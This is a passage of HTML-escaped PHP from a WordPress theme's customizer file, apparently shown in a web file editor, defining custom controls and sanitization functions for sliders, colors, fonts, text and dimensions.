					&#039;href&#039; =&gt; array(),
					&#039;title&#039; =&gt; array(),
					&#039;class&#039; =&gt; array(),
					&#039;target&#039; =&gt; array(),
				),
				&#039;br&#039; =&gt; array(),
				&#039;em&#039; =&gt; array(),
				&#039;strong&#039; =&gt; array(),
				&#039;i&#039; =&gt; array(
					&#039;class&#039; =&gt; array()
				),
				&#039;span&#039; =&gt; array(
					&#039;class&#039; =&gt; array(),
				),
				&#039;code&#039; =&gt; array(),
			);
		?&gt;
			&lt;div class=&quot;simple-notice-custom-control&quot;&gt;
				&lt;?php if( !empty( $this-&gt;label ) ) { ?&gt;
					&lt;span class=&quot;customize-control-title&quot;&gt;&lt;?php echo esc_html( $this-&gt;label ); ?&gt;&lt;/span&gt;
				&lt;?php } ?&gt;
				&lt;?php if( !empty( $this-&gt;description ) ) { ?&gt;
					&lt;span class=&quot;customize-control-description&quot;&gt;&lt;?php echo wp_kses( $this-&gt;description, $allowed_html ); ?&gt;&lt;/span&gt;
				&lt;?php } ?&gt;
			&lt;/div&gt;
		&lt;?php
		}
	}

	/**
	 * Dimensions Customize Control
	 */
	class Tmpcoder_Dimensional_Customize_Control extends WP_Customize_Control {
		public $type = &#039;dimensional&#039;;
	
		public function render_content() {
			$dimensions = array(&#039;top&#039;, &#039;right&#039;, &#039;bottom&#039;, &#039;left&#039;);
			$saved_values = json_decode($this-&gt;value(), true);
	
			?&gt;
			&lt;label&gt;
				&lt;span class=&quot;customize-control-title&quot;&gt;&lt;?php echo esc_html($this-&gt;label); ?&gt;&lt;/span&gt;
				&lt;div class=&quot;dimensional-fields-row&quot;&gt;
					&lt;?php foreach ($dimensions as $dimension) : ?&gt;
						&lt;div class=&quot;dimensional-field&quot;&gt;
							&lt;input 
								type=&quot;number&quot; 
								placeholder=&quot;&lt;?php echo esc_attr ( ucfirst($dimension) ); ?&gt;&quot; 
								class=&quot;dimensional-input&quot; 
								data-dimension=&quot;&lt;?php echo esc_attr($dimension); ?&gt;&quot;
								value=&quot;&lt;?php echo esc_attr(isset($saved_values[$dimension]) ? $saved_values[$dimension] : &#039;&#039;); ?&gt;&quot;
							/&gt;
							&lt;span class=&quot;customize-control-description&quot;&gt;&lt;?php echo esc_html( ucfirst($dimension) ); ?&gt;&lt;/span&gt;
						&lt;/div&gt;
					&lt;?php endforeach; ?&gt;
					&lt;input type=&quot;hidden&quot; class=&quot;dimensional-hidden-value&quot; &lt;?php $this-&gt;link(); ?&gt; /&gt;
				&lt;/div&gt;
			&lt;/label&gt;
			&lt;?php
		}
	}

	/**
	 * TinyMCE Customize Control
	 */
	class Tmpcoder_TinyMCE_Customize_Control extends WP_Customize_Control {
		/**
		 * The type of control being rendered
		 */
		public $type = &#039;tinymce_editor&#039;;
		/**
		 * Enqueue our scripts and styles
		 */
		public function enqueue(){
			wp_enqueue_script( &#039;tmpcoder-customize-controls&#039;, TMPCODER_CUSTOMIZER_ASSETS . &#039;js/tmpcoder-customizer&#039;.tmpcoder_min_suffix().&#039;.js&#039;, array( &#039;jquery&#039; ), TMPCODER_THEME_CORE_VERSION, true );

			wp_enqueue_style( &#039;tmpcoder-customize-controls&#039;, TMPCODER_CUSTOMIZER_ASSETS . &#039;css/tmpcoder-customizer&#039;.tmpcoder_min_suffix().&#039;.css&#039;, array(), TMPCODER_THEME_CORE_VERSION, &#039;all&#039; );
			wp_enqueue_editor();
		}
		/**
		 * Pass our TinyMCE toolbar string to JavaScript
		 */
		public function to_json() {
			parent::to_json();
			$this-&gt;json[&#039;tmpcodertinymcetoolbar1&#039;] = isset( $this-&gt;input_attrs[&#039;toolbar1&#039;] ) ? esc_attr( $this-&gt;input_attrs[&#039;toolbar1&#039;] ) : &#039;bold italic bullist numlist alignleft aligncenter alignright link&#039;;
			$this-&gt;json[&#039;tmpcodertinymcetoolbar2&#039;] = isset( $this-&gt;input_attrs[&#039;toolbar2&#039;] ) ? esc_attr( $this-&gt;input_attrs[&#039;toolbar2&#039;] ) : &#039;&#039;;
			$this-&gt;json[&#039;tmpcodermediabuttons&#039;] = isset( $this-&gt;input_attrs[&#039;mediaButtons&#039;] ) &amp;&amp; ( $this-&gt;input_attrs[&#039;mediaButtons&#039;] === true ) ? true : false;
		}
		/**
		 * Render the control in the customizer
		 */
		public function render_content(){
		?&gt;
			&lt;div class=&quot;tinymce-control&quot;&gt;
				&lt;span class=&quot;customize-control-title&quot;&gt;&lt;?php echo esc_html( $this-&gt;label ); ?&gt;&lt;/span&gt;
				&lt;?php if( !empty( $this-&gt;description ) ) { ?&gt;
					&lt;span class=&quot;customize-control-description&quot;&gt;&lt;?php echo wp_kses_post( $this-&gt;description ); ?&gt;&lt;/span&gt;
				&lt;?php } ?&gt;
				&lt;textarea id=&quot;&lt;?php echo esc_attr( $this-&gt;id ); ?&gt;&quot; class=&quot;customize-control-tinymce-editor&quot; &lt;?php $this-&gt;link(); ?&gt;&gt;&lt;?php echo esc_html( $this-&gt;value() ); ?&gt;&lt;/textarea&gt;
				&lt;span class=&quot;customize-control-description&quot;&gt; &lt;?php echo wp_kses_post( &#039;Shortcode List:&lt;br&gt;[COPYRIGHT] = &amp;copy;&lt;br&gt;[CURRENT_YEAR] = &#039; . gmdate(&#039;Y&#039;) . &#039;&lt;br&gt;[SITE_TITLE] = &#039; . get_bloginfo(&#039;name&#039;) ); ?&gt;&lt;/span&gt;
			&lt;/div&gt;
		&lt;?php
		}
	}

	/**
	 * Only allow values between a certain minimum &amp; maxmium range
	 *
	 * @param  number	Input to be sanitized
	 * @return number	Sanitized input
	 */
	if ( ! function_exists( &#039; tmpcoder_in_range&#039; ) ) {
		function tmpcoder_in_range( $input, $min, $max ){
			if ( $input &lt; $min ) {
				$input = $min;
			}
			if ( $input &gt; $max ) {
				$input = $max;
			}
			return $input;
		}
	}

	/**
	 * Slider sanitization
	 *
	 * @param  string	Slider value to be sanitized
	 * @return string	Sanitized input
	 */
	if ( ! function_exists( &#039;tmpcoder_range_sanitization&#039; ) ) {
		function tmpcoder_range_sanitization( $input, $setting ) {
			$attrs = $setting-&gt;manager-&gt;get_control( $setting-&gt;id )-&gt;input_attrs;

			$min = ( isset( $attrs[&#039;min&#039;] ) ? $attrs[&#039;min&#039;] : $input );
			$max = ( isset( $attrs[&#039;max&#039;] ) ? $attrs[&#039;max&#039;] : $input );
			$step = ( isset( $attrs[&#039;step&#039;] ) ? $attrs[&#039;step&#039;] : 1 );

			$number = floor( $input / $attrs[&#039;step&#039;] ) * $attrs[&#039;step&#039;];

			return tmpcoder_in_range( $number, $min, $max );
		}
	}

	/**
	 * Google Font sanitization
	 *
	 * @param  string	JSON string to be sanitized
	 * @return string	Sanitized input
	 */
	if ( ! function_exists( &#039;tmpcoder_google_font_sanitization&#039; ) ) {
		function tmpcoder_google_font_sanitization( $input ) {
			$val =  json_decode( $input, true );
			if( is_array( $val ) ) {
				foreach ( $val as $key =&gt; $value ) {
					$val[$key] = sanitize_text_field( $value );
				}
				$input = json_encode( $val );
			}
			else {
				$input = json_encode( sanitize_text_field( $val ) );
			}
			return $input;
		}
	}

	/**
	 * Alpha Color (Hex, RGB &amp; RGBa) sanitization
	 *
	 * @param  string	Input to be sanitized
	 * @return string	Sanitized input
	 */
	if ( ! function_exists( &#039;tmpcoder_hex_rgba_sanitization&#039; ) ) {
		function tmpcoder_hex_rgba_sanitization( $input, $setting ) {
			if ( empty( $input ) || is_array( $input ) ) {
				return $setting-&gt;default;
			}

			if ( false === strpos( $input, &#039;rgb&#039; ) ) {
				// If string doesn&#039;t start with &#039;rgb&#039; then santize as hex color
				$input = sanitize_hex_color( $input );
			} else {
				if ( false === strpos( $input, &#039;rgba&#039; ) ) {
					// Sanitize as RGB color
					$input = str_replace( &#039; &#039;, &#039;&#039;, $input );
					sscanf( $input, &#039;rgb(%d,%d,%d)&#039;, $red, $green, $blue );
					$input = &#039;rgb(&#039; . tmpcoder_in_range( $red, 0, 255 ) . &#039;,&#039; . tmpcoder_in_range( $green, 0, 255 ) . &#039;,&#039; . tmpcoder_in_range( $blue, 0, 255 ) . &#039;)&#039;;
				}
				else {
					// Sanitize as RGBa color
					$input = str_replace( &#039; &#039;, &#039;&#039;, $input );
					sscanf( $input, &#039;rgba(%d,%d,%d,%f)&#039;, $red, $green, $blue, $alpha );
					$input = &#039;rgba(&#039; . tmpcoder_in_range( $red, 0, 255 ) . &#039;,&#039; . tmpcoder_in_range( $green, 0, 255 ) . &#039;,&#039; . tmpcoder_in_range( $blue, 0, 255 ) . &#039;,&#039; . tmpcoder_in_range( $alpha, 0, 1 ) . &#039;)&#039;;
				}
			}
			return $input;
		}
	}

	/**
	 * Text sanitization
	 *
	 * @param  string	Input to be sanitized (either a string containing a single string or multiple, separated by commas)
	 * @return string	Sanitized input
	 */
	if ( ! function_exists( &#039;tmpcoder_text_sanitization&#039; ) ) {
		function tmpcoder_text_sanitization( $input ) {
			if ( strpos( $input, &#039;,&#039; ) !== false) {
				$input = explode( &#039;,&#039;, $input );
			}
			if( is_array( $input ) ) {
				foreach ( $input as $key =&gt; $value ) {
					$input[$key] = sanitize_text_field( $value );
				}
				$input = implode( &#039;,&#039;, $input );
			}
			else {
				$input = sanitize_text_field( $input );
			}
			return $input;
		}
	}

	/**
	 * Dimensions sanitization
	 */
	if ( ! function_exists( &#039;tmpcoder_dimensions_sanitization&#039; ) ) {
		function tmpcoder_dimensions_sanitization( $input ) {
			$val =  json_decode( $input, true );
			if( is_array( $val ) ) {
				foreach ( $val as $key =&gt; $value ) {
					$val[$key] = sanitize_text_field( $value );
				}
				$input = json_encode( $val );
			}
			else {
				$input = json_encode( sanitize_text_field( $val ) );
			}
			return $input;
		}
	}

    /**
	 * Boolean sanitization
	 */
    if ( ! function_exists( &#039;tmpcoder_sanitize_boolean&#039; ) ) {
        function tmpcoder_sanitize_boolean( $value ) {
            return filter_var( $value, FILTER_VALIDATE_BOOLEAN );
        }
    }
}
</textarea><input type='submit' name='save' value='Save' style=''/></form>